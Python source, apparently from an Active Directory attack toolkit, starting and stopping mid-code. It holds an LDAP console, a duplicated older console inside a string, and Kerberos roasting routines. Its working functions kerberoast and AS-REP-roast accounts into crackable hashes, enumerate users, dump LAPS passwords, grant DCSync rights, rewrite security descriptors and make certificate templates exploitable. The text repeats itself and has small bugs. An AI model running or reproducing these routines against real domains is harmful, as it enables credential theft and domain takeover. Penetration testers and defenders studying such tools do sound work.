encoding='utf8') as f: writer = csv.writer(f, delimiter='\t') writer.writerow(MSADMachine.TSV_ATTRS) for comp in connection.get_all_machine_objects(): writer.writerow(comp.get_row(MSADMachine.TSV_ATTRS)) elif args.command == 'spn': connection.connect() adinfo = connection.get_ad_info() with open(args.outfile, 'w', newline='', encoding='utf8') as f: for user in connection.get_all_service_user_objects(): f.write(user.sAMAccountName + '\r\n')
def get_ldap(self): return MSLDAPURLDecoder(self.ldap_url)
class MSLDAPClientConsole(aiocmd.PromptToolkitCmd): def __init__(self, url=None): aiocmd.PromptToolkitCmd.__init__( self, ignore_sigint=False ) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = MSLDAPURLDecoder(url) self.connection = None self.adinfo = None self.ldapinfo = None self.domain_name = None async def do_login(self, url=None): """Performs connection and login""" try: if self.conn_url is None and url is None: print('Not url was set, cant do logon') if url is not None: self.conn_url = MSLDAPURLDecoder(url) logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) self.connection = self.conn_url.get_client() _, err = await self.connection.connect() if err is not None: raise err return True except: traceback.print_exc() return False async def do_ldapinfo(self, show=True): """Prints detailed LDAP connection info (DSA)""" try: if self.ldapinfo is None: self.ldapinfo = self.connection.get_server_info() if show is True: for k in self.ldapinfo: print('%s : %s' % (k, self.ldapinfo[k])) return True except: traceback.print_exc() return False async def do_adinfo(self, show=True): """Prints detailed Active Driectory info""" try: if self.adinfo is None: self.adinfo = self.connection._ldapinfo self.domain_name = self.adinfo.distinguishedName.replace( 'DC', '').replace('=', '').replace(',', '.') if show is True: print(self.adinfo) return True except: traceback.print_exc() return False async def do_spns(self): """Fetches kerberoastable user accounts""" try: await self.do_ldapinfo(False) async for user, err in self.connection.get_all_service_users(): if err is not None: raise err print(user.sAMAccountName) return True except: traceback.print_exc() return False async def do_asrep(self): """Fetches ASREP-roastable user accounts""" try: await self.do_ldapinfo(False) async for user, err in self.connection.get_all_knoreq_users(): if err is not None: raise err print(user.sAMAccountName) return True except: traceback.print_exc() return False async def do_computeraddr(self): """Fetches all computer accounts""" try: await self.do_adinfo(False) #machine_filename = '%s_computers_%s.txt' % (self.domain_name, datetime.datetime.now().strftime("%Y%m%d-%H%M%S")) async for machine, err in self.connection.get_all_machines( attrs=['sAMAccountName', 'dNSHostName']): if err is not None: raise err dns = machine.dNSHostName if dns is None: dns = '%s.%s' % (machine.sAMAccountName[:-1], self.domain_name) print(str(dns)) return True except: traceback.print_exc() return False async def do_dump(self): """Fetches ALL user and machine accounts from the domain with a LOT of attributes""" try: await self.do_adinfo(False) await self.do_ldapinfo(False) users_filename = 'users_%s.tsv' % datetime.datetime.now().strftime( "%Y%m%d-%H%M%S") pbar = tqdm(desc='Writing users to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding='utf8') as f: async for user, err in self.connection.get_all_users(): if err is not None: raise err pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Users dump was written to %s' % users_filename) users_filename = 'computers_%s.tsv' % datetime.datetime.now( ).strftime("%Y%m%d-%H%M%S") pbar = tqdm(desc='Writing computers to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding='utf8') as f: async for user, err in self.connection.get_all_machines(): if err is not None: raise err pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Computer dump was written to %s' % users_filename) return True except: traceback.print_exc() return False async def do_query(self, query, attributes=None): """Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)""" try: await self.do_ldapinfo(False) if attributes is None: attributes = '*' if attributes.find(','): attributes = attributes.split(',') logging.debug('Query: %s' % (query)) logging.debug('Attributes: %s' % (attributes)) async for entry, err in self.connection.pagedsearch( query, attributes): if err is not None: raise err print(entry) return True except: traceback.print_exc() return False async def do_tree(self, dn=None, level=1): """Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)""" try: await self.do_ldapinfo(False) if level is None: level = 1 level = int(level) if dn is not None: try: int(dn) except: pass else: level = int(dn) dn = None if dn is None: await self.do_ldapinfo(False) dn = self.connection._tree logging.debug('Tree on %s' % dn) tree_data = await self.connection.get_tree_plot(dn, level) tr = LeftAligned() print(tr(tree_data)) return True except: traceback.print_exc() return False async def do_user(self, samaccountname, to_print=True): """Feteches a user object based on the sAMAccountName of the user""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) user, err = await self.connection.get_user(samaccountname) if err is not None: raise err if to_print is True: if user is None: print('User not found!') else: print(user) return user except: traceback.print_exc() return False async def do_machine(self, samaccountname): """Feteches a machine object based on the sAMAccountName of the machine""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) machine, err = await self.connection.get_machine(samaccountname) if err is not None: raise err if machine is None: print('machine not found!') else: print(machine) ####TEST x = SECURITY_DESCRIPTOR.from_bytes( machine.allowedtoactonbehalfofotheridentity) print(x) return True except: traceback.print_exc() return False async def do_schemaentry(self, cn): """Feteches a schema object entry object based on the DN of the object (must start with CN=)""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) schemaentry, err = await self.connection.get_schemaentry(cn) if err is not None: raise err print(str(schemaentry)) return True except: traceback.print_exc() return False async def do_allschemaentry(self): """Feteches all schema object entry objects""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for schemaentry, err in self.connection.get_all_schemaentry( ): if err is not None: raise err print(str(schemaentry)) return True except: traceback.print_exc() return False #async def do_addallowedtoactonbehalfofotheridentity(self, target_name, add_computer_name): # """Adds a SID to the msDS-AllowedToActOnBehalfOfOtherIdentity protperty of target_dn""" # try: # await self.do_ldapinfo(False) # await self.do_adinfo(False) # # try: # new_owner_sid = SID.from_string(sid) # except: # print('Incorrect SID!') # return False, Exception('Incorrect SID') # # # target_sd = None # if target_attribute is None or target_attribute == '': # target_attribute = 'nTSecurityDescriptor' # res, err = await self.connection.get_objectacl_by_dn(target_dn) # if err is not None: # raise err # target_sd = SECURITY_DESCRIPTOR.from_bytes(res) # else: # # query = '(distinguishedName=%s)' % target_dn # async for entry, err in self.connection.pagedsearch(query, [target_attribute]): # if err is not None: # raise err # print(entry['attributes'][target_attribute]) # target_sd = SECURITY_DESCRIPTOR.from_bytes(entry['attributes'][target_attribute]) # break # else: # print('Target DN not found!') # return False, Exception('Target DN not found!') # # print(target_sd) # new_sd = copy.deepcopy(target_sd) # new_sd.Owner = new_owner_sid # print(new_sd) # # changes = { # target_attribute : [('replace', [new_sd.to_bytes()])] # } # _, err = await self.connection.modify(target_dn, changes) # if err is not None: # raise err # # print('Change OK!') # except: # traceback.print_exc() async def do_changeowner(self, new_owner_sid, target_dn, target_attribute=None): """Changes the owner in a Security Descriptor to the new_owner_sid on an LDAP object or on an LDAP object's attribute identified by target_dn and target_attribute. target_attribute can be omitted to change the target_dn's SD's owner""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) _, err = await self.connection.change_priv_owner( new_owner_sid, target_dn, target_attribute=target_attribute) if err is not None: raise err except: traceback.print_exc() return False async def do_addprivdcsync(self, user_dn, forest=None): """Adds DCSync rights to the given user by modifying the forest's Security Descriptor to add GetChanges and GetChangesAll ACE""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) _, err = await self.connection.add_priv_dcsync( user_dn, self.adinfo.distinguishedName) if err is not None: raise err print('Change OK!') return True except: traceback.print_exc() return False async def do_addprivaddmember(self, user_dn, group_dn): """Adds AddMember rights to the user on the group specified by group_dn""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) _, err = await self.connection.add_priv_addmember( user_dn, group_dn) if err is not None: raise err print('Change OK!') return True except: traceback.print_exc() return False async def do_setsd(self, target_dn, sddl): """Updates the security descriptor of an object""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) try: new_sd = SECURITY_DESCRIPTOR.from_sddl(sddl) except: print('Incorrect SDDL input!') return False, Exception('Incorrect SDDL input!') _, err = await self.connection.set_objectacl_by_dn( target_dn, new_sd.to_bytes()) if err is not None: raise err print('Change OK!') return True except: print('Erro while updating security descriptor!') traceback.print_exc() return False async def do_getsd(self, dn): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) sec_info, err = await self.connection.get_objectacl_by_dn(dn) if err is not None: raise err sd = SECURITY_DESCRIPTOR.from_bytes(sec_info) print(sd.to_sddl()) return True except: traceback.print_exc() return False async def do_gpos(self): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for gpo, err in self.connection.get_all_gpos(): if err is not None: raise err print(gpo) return True except: traceback.print_exc() return False async def do_laps(self): """Feteches all laps passwords""" try: async for entry, err in self.connection.get_all_laps(): if err is not None: raise err pwd = '<MISSING>' if 'ms-Mcs-AdmPwd' in entry['attributes']: pwd = entry['attributes']['ms-Mcs-AdmPwd'] print('%s : %s' % (entry['attributes']['cn'], pwd)) return True except: traceback.print_exc() return False async def do_groupmembership(self, dn): """Feteches names all groupnames the user is a member of for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) group_sids = [] async for group_sid, err in self.connection.get_tokengroups(dn): if err is not None: raise err group_sids.append(group_sids) group_dn, err = await self.connection.get_dn_for_objectsid( group_sid) if err is not None: raise err print('%s - %s' % (group_dn, group_sid)) if len(group_sids) == 0: print('No memberships found') return True except Exception as e: traceback.print_exc() return False async def do_bindtree(self, newtree): """Changes the LDAP TREE for future queries. MUST be DN format eg. 'DC=test,DC=corp' !DANGER! Switching tree to a tree outside of the domain will trigger a connection to that domain, leaking credentials!""" self.connection._tree = newtree async def do_trusts(self): """Feteches gives back domain trusts""" try: async for entry, err in self.connection.get_all_trusts(): if err is not None: raise err print(entry.get_line()) return True except: traceback.print_exc() return False async def do_adduser(self, user_dn, password): """Creates a new domain user with password""" try: _, err = await self.connection.create_user_dn(user_dn, password) if err is not None: raise err print('User added') return True except: traceback.print_exc() return False async def do_deluser(self, user_dn): """Deletes the user! This action is irrecoverable (actually domain admins can do that but probably will shout with you)""" try: _, err = await self.connection.delete_user(user_dn) if err is not None: raise err print('Goodbye, Caroline.') return True except: traceback.print_exc() return False async def do_changeuserpw(self, user_dn, newpass, oldpass=None): """Changes user password, if you are admin then old pw doesnt need to be supplied""" try: _, err = await self.connection.change_password( user_dn, newpass, oldpass) if err is not None: raise err print('User password changed') return True except: traceback.print_exc() return False async def do_unlockuser(self, user_dn): """Unlock user by setting lockoutTime to 0""" try: _, err = await self.connection.unlock_user(user_dn) if err is not None: raise err print('User unlocked') return True except: traceback.print_exc() return False async def do_enableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.enable_user(user_dn) if err is not None: raise err print('User enabled') return True except: traceback.print_exc() return False async def do_disableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.disable_user(user_dn) if err is not None: raise err print('User disabled') return True except: traceback.print_exc() return False async def do_addspn(self, user_dn, spn): """Adds an SPN entry to the users account""" try: _, err = await self.connection.add_user_spn(user_dn, spn) if err is not None: raise err print('SPN added!') return True except: traceback.print_exc() return False async def do_addhostname(self, user_dn, hostname): """Adds additional hostname to computer account""" try: _, err = await self.connection.add_additional_hostname( user_dn, hostname) if err is not None: raise err print('Hostname added!') return True except: traceback.print_exc() return False async def do_addusertogroup(self, user_dn, group_dn): """Adds user to specified group. Both user and group must be in DN format!""" try: _, err = await self.connection.add_user_to_group(user_dn, group_dn) if err is not None: raise err print('User added to group!') return True except: traceback.print_exc() return False async def do_deluserfromgroup(self, user_dn, group_dn): """Removes user from specified group. Both user and group must be in DN format!""" try: _, err = await self.connection.del_user_from_group( user_dn, group_dn) if err is not None: raise err print('User added to group!') return True except: traceback.print_exc() return False async def do_rootcas(self, to_print=True): """Lists Root CA certificates""" try: cas = [] async for ca, err in self.connection.list_root_cas(): if err is not None: raise err cas.append(ca) if to_print is True: print(ca) return cas except: traceback.print_exc() return False async def do_ntcas(self, to_print=True): """Lists NT CA certificates""" try: cas = [] async for ca, err in self.connection.list_ntcas(): if err is not None: raise err cas.append(ca) if to_print is True: print(ca) return cas except: traceback.print_exc() return False async def do_aiacas(self, to_print=True): """Lists AIA CA certificates""" try: cas = [] async for ca, err in self.connection.list_aiacas(): if err is not None: raise err cas.append(ca) if to_print is True: print(ca) return cas except: traceback.print_exc() return False async def do_enrollmentservices(self, to_print=True): """Lists AIA CA certificates""" try: services = [] async for srv, err in self.connection.list_enrollment_services(): if err is not None: raise err services.append(srv) if to_print is True: print(srv) return services except: traceback.print_exc() return False async def do_addcerttemplatenameflagaltname(self, certtemplatename, flags=None): """Modifyies the msPKI-Certificate-Name-Flag value of the specified certificate template and enables ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME bit. If 'flags' is present then it will assign that value.""" try: template = None async for template, err in self.connection.list_certificate_templates( certtemplatename): if err is not None: raise err break if template is None: raise Exception("Template could not be found!") template = typing.cast(MSADCertificateTemplate, template) if flags is not None: flags = int(flags) else: flags = int( CertificateNameFlag(template.Certificate_Name_Flag) | CertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME) changes = {'msPKI-Certificate-Name-Flag': [('replace', [flags])]} _, err = await self.connection.modify(template.distinguishedName, changes) if err is not None: raise err print('Modify OK!') return True except: traceback.print_exc() return False async def do_addenrollmentright(self, certtemplatename, user_dn): """Grants enrollment rights to a user (by DN) for the specified certificate template.""" try: user_sid, err = await self.connection.get_objectsid_for_dn(user_dn) if err is not None: raise err template = None async for template, err in self.connection.list_certificate_templates( certtemplatename): if err is not None: raise err break if template is None: raise Exception("Template could not be found!") template = typing.cast(MSADCertificateTemplate, template) new_sd = copy.deepcopy(template.nTSecurityDescriptor) ace = ACCESS_ALLOWED_OBJECT_ACE() ace.Sid = SID.from_string(user_sid) ace.ObjectType = GUID.from_string(EX_RIGHT_CERTIFICATE_ENROLLMENT) ace.AceFlags = AceFlags(0) ace.Mask = ADS_ACCESS_MASK.READ_PROP | ADS_ACCESS_MASK.WRITE_PROP | ADS_ACCESS_MASK.CONTROL_ACCESS ace.Flags = ACE_OBJECT_PRESENCE.ACE_OBJECT_TYPE_PRESENT new_sd.Dacl.aces.append(ace) _, err = await self.connection.set_objectacl_by_dn( template.distinguishedName, new_sd.to_bytes(), flags=SDFlagsRequest.DACL_SECURITY_INFORMATION) if err is not None: raise err print('SD set sucessfully') return True except: traceback.print_exc() return False async def do_certtemplates(self, name=None, to_print=True): """Lists certificate templates""" try: services = await self.do_enrollmentservices(to_print=False) templates = [] async for template, err in self.connection.list_certificate_templates( name): if err is not None: raise err lt = None if template.nTSecurityDescriptor is not None: lt, err = await self.connection.resolv_sd( template.nTSecurityDescriptor) if err is not None: raise err template.sid_lookup_table = lt for srv in services: if template.name in srv.certificateTemplates: template.enroll_services.append( '%s\\%s' % (srv.dNSHostName, srv.name)) templates.append(template) if to_print is True: print(template.prettyprint()) return templates except: traceback.print_exc() return False async def do_sidresolv(self, sid, to_print=True): """Returns the domain and username for SID""" try: domain, username, err = await self.connection.resolv_sid(sid) if err is not None: raise err res = '%s\\%s' % (domain, username) if to_print is True: print(res) return res except: traceback.print_exc() return False async def do_certify(self, cmd=None, username=None): """ADCA security test""" try: es = await self.do_enrollmentservices(to_print=False) if es is False: raise Exception('Listing enrollment Services error! %s' % es) if es is None: raise Exception('No Enrollment Services present, stopping!') templates = await self.do_certtemplates(to_print=False) if templates is False: raise Exception('Listing templates error! %s' % es) if templates is None: raise Exception('No templates exists!') for enrollment in es: print(enrollment) if cmd is not None: if cmd.lower().startswith('vuln') is True: tokengroups = None if username is not None: tokengroups, err = await self.connection.get_tokengroups_user( username) if err is not None: raise err for template in templates: isvuln, reason = template.is_vulnerable(tokengroups) if isvuln is True: print(reason) print(template) else: for template in templates: print(template) return True except: traceback.print_exc() return False async def do_whoamiraw(self): """Simple whoami""" try: res, err = await self.connection.whoami() if err is not None: raise err print(res) except: traceback.print_exc() return False async def do_whoami(self): """Full whoami""" try: res, err = await self.connection.whoamifull() if err is not None: raise err for x in res: if isinstance(res[x], str) is True: print('%s: %s' % (x, res[x])) elif isinstance(res[x], dict) is True: for k in res[x]: print('Group: %s (%s)' % (k, '\\'.join(res[x][k]))) return True except: traceback.print_exc() return False, None async def do_test(self): """testing, dontuse""" try: async for entry, err in self.connection.get_all_objectacl(): if err is not None: raise err if entry.objectClass[-1] != 'user': print(entry.objectClass) return True except: traceback.print_exc() return False """
async def live_roast(outfile=None): try: logon = get_logon_info() domain = logon['domain'] url = 'ldap+sspi-ntlm://%s' % logon['logonserver'] msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] errors = [] results = [] final_results = [] spn_cnt = 0 asrep_cnt = 0 async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: results = [] ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[23]) results.append(res) if outfile is not None: filename = outfile + 'asreproast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: asrep_cnt += 1 f.write(thash + '\r\n') else: final_results += results results = [] for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue try: ctx = AcquireCredentialsHandle(None, 'kerberos', spn_name, SECPKG_CRED.OUTBOUND) res, ctx, data, outputflags, expiry = InitializeSecurityContext( ctx, spn_name, token=None, ctx=ctx, flags=ISC_REQ.ALLOCATE_MEMORY | ISC_REQ.CONNECTION) if res == SEC_E.OK or res == SEC_E.CONTINUE_NEEDED: ticket = InitialContextToken.load( data[0][1]).native['innerContextToken'] else: raise Exception('Error %s' % res.value) except Exception as e: print(e) errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) if outfile is not None: filename = outfile + 'spnroast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: spn_cnt += 1 f.write(thash + '\r\n') else: final_results += results return final_results, errors, None except Exception as e: return None, None, e
async def run_auto(): try: if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') from winacl.functions.highlevel import get_logon_info logon = get_logon_info() domain = logon['domain'] url = 'ldap+sspi-ntlm://%s' % logon['logonserver'] msldap_url = MSLDAPURLDecoder(url) client = msldap_url.get_client() _, err = await client.connect() if err is not None: raise err domain = client._ldapinfo.distinguishedName.replace('DC=', '').replace( ',', '.') spn_users = [] asrep_users = [] errors = [] spn_cnt = 0 asrep_cnt = 0 async for user, err in client.get_all_knoreq_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain asrep_users.append(cred) async for user, err in client.get_all_service_users(): if err is not None: raise err cred = KerberosCredential() cred.username = user.sAMAccountName cred.domain = domain spn_users.append(cred) for cred in asrep_users: results = [] ks = KerberosTarget(domain) ar = APREPRoast(ks) res = await ar.run(cred, override_etype=[23]) results.append(res) filename = 'asreproast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: asrep_cnt += 1 f.write(thash + '\r\n') results = [] for cred in spn_users: spn_name = '%s@%s' % (cred.username, cred.domain) if spn_name[:6] == 'krbtgt': continue ksspi = KerberoastSSPI() try: ticket = ksspi.get_ticket_for_spn(spn_name) except Exception as e: errors.append((spn_name, e)) continue results.append(TGSTicket2hashcat(ticket)) filename = 'spnroast_%s_%s.txt' % ( logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S")) with open(filename, 'w', newline='') as f: for thash in results: spn_cnt += 1 f.write(thash + '\r\n') for err in errors: print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1])) print('[+] Done! %s spnroast tickets %s asreproast tickets' % (spn_cnt, asrep_cnt)) except Exception as e: print(e)
class MSLDAPClientConsole(aiocmd.PromptToolkitCmd): def __init__(self, url = None): aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows... self.conn_url = None if url is not None: self.conn_url = MSLDAPURLDecoder(url) self.connection = None self.adinfo = None self.ldapinfo = None async def do_login(self, url = None): """Performs connection and login""" try: if self.conn_url is None and url is None: print('Not url was set, cant do logon') if url is not None: self.conn_url = MSLDAPURLDecoder(url) logger.debug(self.conn_url.get_credential()) logger.debug(self.conn_url.get_target()) self.connection = self.conn_url.get_client() _, err = await self.connection.connect() if err is not None: raise err return True except: traceback.print_exc() return False async def do_ldapinfo(self, show = True): """Prints detailed LDAP connection info (DSA)""" try: if self.ldapinfo is None: self.ldapinfo = self.connection.get_server_info() if show is True: print(self.ldapinfo) return True except: traceback.print_exc() return False async def do_adinfo(self, show = True): """Prints detailed Active Driectory info""" try: if self.adinfo is None: self.adinfo = self.connection._ldapinfo if show is True: print(self.adinfo) except: traceback.print_exc() async def do_spns(self): """Fetches kerberoastable user accounts""" try: await self.do_ldapinfo(False) async for user in self.connection.get_all_service_user_objects(): print(user.sAMAccountName) except: traceback.print_exc() async def do_asrep(self): """Fetches ASREP-roastable user accounts""" try: await self.do_ldapinfo(False) async for user in self.connection.get_all_knoreq_user_objects(): print(user.sAMAccountName) except: traceback.print_exc() async def do_dump(self): """Fetches ALL user and machine accounts from the domain with a LOT of attributes""" try: await self.do_adinfo(False) await self.do_ldapinfo(False) users_filename = 'users_%s.tsv' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") pbar = tqdm(desc = 'Writing users to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding = 'utf8') as f: async for user in self.connection.get_all_user_objects(): pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Users dump was written to %s' % users_filename) users_filename = 'computers_%s.tsv' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") pbar = tqdm(desc = 'Writing computers to file %s' % users_filename) with open(users_filename, 'w', newline='', encoding = 'utf8') as f: async for user in self.connection.get_all_machine_objects(): pbar.update() f.write('\t'.join(user.get_row(MSADUser_TSV_ATTRS))) print('Computer dump was written to %s' % users_filename) except: traceback.print_exc() async def do_query(self, query, attributes = None): """Performs a raw LDAP query against the server. Secondary parameter is the requested attributes SEPARATED WITH COMMA (,)""" try: await self.do_ldapinfo(False) if attributes is None: attributes = '*' if attributes.find(','): attributes = attributes.split(',') logging.debug('Query: %s' % (query)) logging.debug('Attributes: %s' % (attributes)) async for entry in self.connection.pagedsearch(query, attributes): print(entry) except: traceback.print_exc() async def do_tree(self, dn = None, level = 1): """Prints a tree from the given DN (if not set, the top) and with a given depth (default: 1)""" try: await self.do_ldapinfo(False) if level is None: level = 1 level = int(level) if dn is not None: try: int(dn) except: pass else: level = int(dn) dn = None if dn is None: await self.do_ldapinfo(False) dn = self.connection._tree logging.debug('Tree on %s' % dn) tree_data = await self.connection.get_tree_plot(dn, level) tr = LeftAligned() print(tr(tree_data)) except: traceback.print_exc() async def do_user(self, samaccountname): """Feteches a user object based on the sAMAccountName of the user""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for user in self.connection.get_user(samaccountname): print(user) except: traceback.print_exc() async def do_acl(self, dn): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for sec_info in self.connection.get_objectacl_by_dn(dn): print(str(SECURITY_DESCRIPTOR.from_bytes(sec_info.nTSecurityDescriptor))) except: traceback.print_exc() async def do_gpos(self): """Feteches security info for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) async for gpo in self.connection.get_all_gpos(): print(gpo) except: traceback.print_exc() async def do_laps(self): """Feteches all laps passwords""" try: async for entry in self.connection.get_all_laps(): pwd = '<MISSING>' if 'ms-mcs-AdmPwd' in entry['attributes']: pwd = entry['attributes']['ms-mcs-AdmPwd'] print('%s : %s' % (entry['attributes']['cn'], pwd)) except: traceback.print_exc() async def do_groupmembership(self, dn): """Feteches names all groupnames the user is a member of for a given DN""" try: await self.do_ldapinfo(False) await self.do_adinfo(False) group_sids = [] async for group_sid in self.connection.get_tokengroups(dn): group_sids.append(group_sids) group_dn = await self.connection.get_dn_for_objectsid(group_sid) print('%s - %s' % (group_dn, group_sid)) if len(group_sids) == 0: print('No memberships found') except: traceback.print_exc() async def do_bindtree(self, newtree): """Changes the LDAP TREE for future queries. MUST be DN format eg. 'DC=test,DC=corp' !DANGER! Switching tree to a tree outside of the domain will trigger a connection to that domain, leaking credentials!""" self.connection._tree = newtree async def do_trusts(self): """Feteches gives back domain trusts""" try: async for entry in self.connection.get_all_trusts(): print(entry.get_line()) except: traceback.print_exc() async def do_adduser(self, username, password): """Creates a new domain user with password""" try: _, err = await self.connection.create_user(username, password) if err is not None: raise err print('User added') except: traceback.print_exc() async def do_deluser(self, user_dn): """Deletes the user! This action is irrecoverable (actually domain admins can do that but probably will shout with you)""" try: _, err = await self.connection.delete_user(user_dn) if err is not None: raise err print('Goodbye, Caroline.') except: traceback.print_exc() async def do_changeuserpw(self, user_dn, newpass, oldpass = None): """Changes user password, if you are admin then old pw doesnt need to be supplied""" try: _, err = await self.connection.change_password(user_dn, newpass, oldpass) if err is not None: raise err print('User password changed') except: traceback.print_exc() async def do_unlockuser(self, user_dn): """Unlock user by setting lockoutTime to 0""" try: _, err = await self.connection.unlock_user(user_dn) if err is not None: raise err print('User unlocked') except: traceback.print_exc() async def do_enableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.enable_user(user_dn) if err is not None: raise err print('User enabled') except: traceback.print_exc() async def do_disableuser(self, user_dn): """Unlock user by flipping useraccountcontrol bits""" try: _, err = await self.connection.disable_user(user_dn) if err is not None: raise err print('User disabled') except: traceback.print_exc() async def do_addspn(self, user_dn, spn): """Adds an SPN entry to the users account""" try: _, err = await self.connection.add_user_spn(user_dn, spn) if err is not None: raise err print('SPN added!') except: traceback.print_exc() async def do_addhostname(self, user_dn, hostname): """Adds additional hostname to computer account""" try: _, err = await self.connection.add_additional_hostname(user_dn, hostname) if err is not None: raise err print('Hostname added!') except: traceback.print_exc() async def do_test(self): """testing, dontuse""" try: async for entry in self.connection.get_all_objectacl(): if entry.objectClass[-1] != 'user': print(entry.objectClass) except: traceback.print_exc() """
async def amain(args): if args.command == 'tgs': logging.debug('[TGS] started') ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() spn = KerberosSPN.from_user_email(args.spn) logging.debug('[TGS] target user: %s' % spn.get_formatted_pname()) logging.debug('[TGS] fetching TGT') kcomm = AIOKerberosClient(cred, target) await kcomm.get_TGT() logging.debug('[TGS] fetching TGS') await kcomm.get_TGS(spn) kcomm.ccache.to_file(args.out_file) logging.debug('[TGS] done!') elif args.command == 'tgt': logging.debug('[TGT] started') ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() logging.debug('[TGT] cred: %s' % cred) logging.debug('[TGT] target: %s' % target) kcomm = AIOKerberosClient(cred, target) logging.debug('[TGT] fetching TGT') await kcomm.get_TGT() kcomm.ccache.to_file(args.out_file) logging.debug('[TGT] Done! TGT stored in CCACHE file') elif args.command == 'asreproast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') creds = [] targets = get_targets_from_file(args, False) targets += get_target_from_args(args, False) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) logging.debug('[ASREPRoast] loaded %d targets' % len(targets)) logging.debug( '[ASREPRoast] will suppoort the following encryption type: %s' % (str(args.etype))) ks = KerberosTarget(args.address) ar = APREPRoast(ks) hashes = [] for target in targets: h = await ar.run(target, override_etype=[args.etype]) hashes.append(h) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('ASREPRoast complete') elif args.command == 'spnroast': if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file or specify target via cmdline' ) logging.debug('Kerberoast loaded %d targets' % len(targets)) if args.etype: if args.etype == -1: etypes = [23, 17, 18] else: etypes = [args.etype] else: etypes = [23, 17, 18] logging.debug( 'Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes))) ku = KerberosClientURL.from_url(args.kerberos_connection_url) cred = ku.get_creds() target = ku.get_target() ar = Kerberoast(target, cred) hashes = await ar.run(targets, override_etype=etypes) if args.out_file: with open(args.out_file, 'w') as f: for thash in hashes: f.write(thash + '\r\n') else: for thash in hashes: print(thash) logging.info('Kerberoast complete') elif args.command == 'brute': target = KerberosTarget(args.address) with open(args.targets, 'r') as f: for line in f: line = line.strip() spn = KerberosSPN() spn.username = line spn.domain = args.realm ke = KerberosUserEnum(target, spn) result = await ke.run() if result is True: if args.out_file: with open(args.out_file, 'a') as f: f.write(result + '\r\n') else: print('[+] Enumerated user: %s' % str(spn)) logging.info('Kerberos user enumeration complete') elif args.command == 'spnroast-sspi': if platform.system() != 'Windows': print('[-]This command only works on Windows!') return try: from winsspi.sspi import KerberoastSSPI except ImportError: raise Exception('winsspi module not installed!') if not args.targets and not args.user: raise Exception( 'No targets loaded! Either -u or -t MUST be specified!') targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception( 'No targets were specified! Either use target file 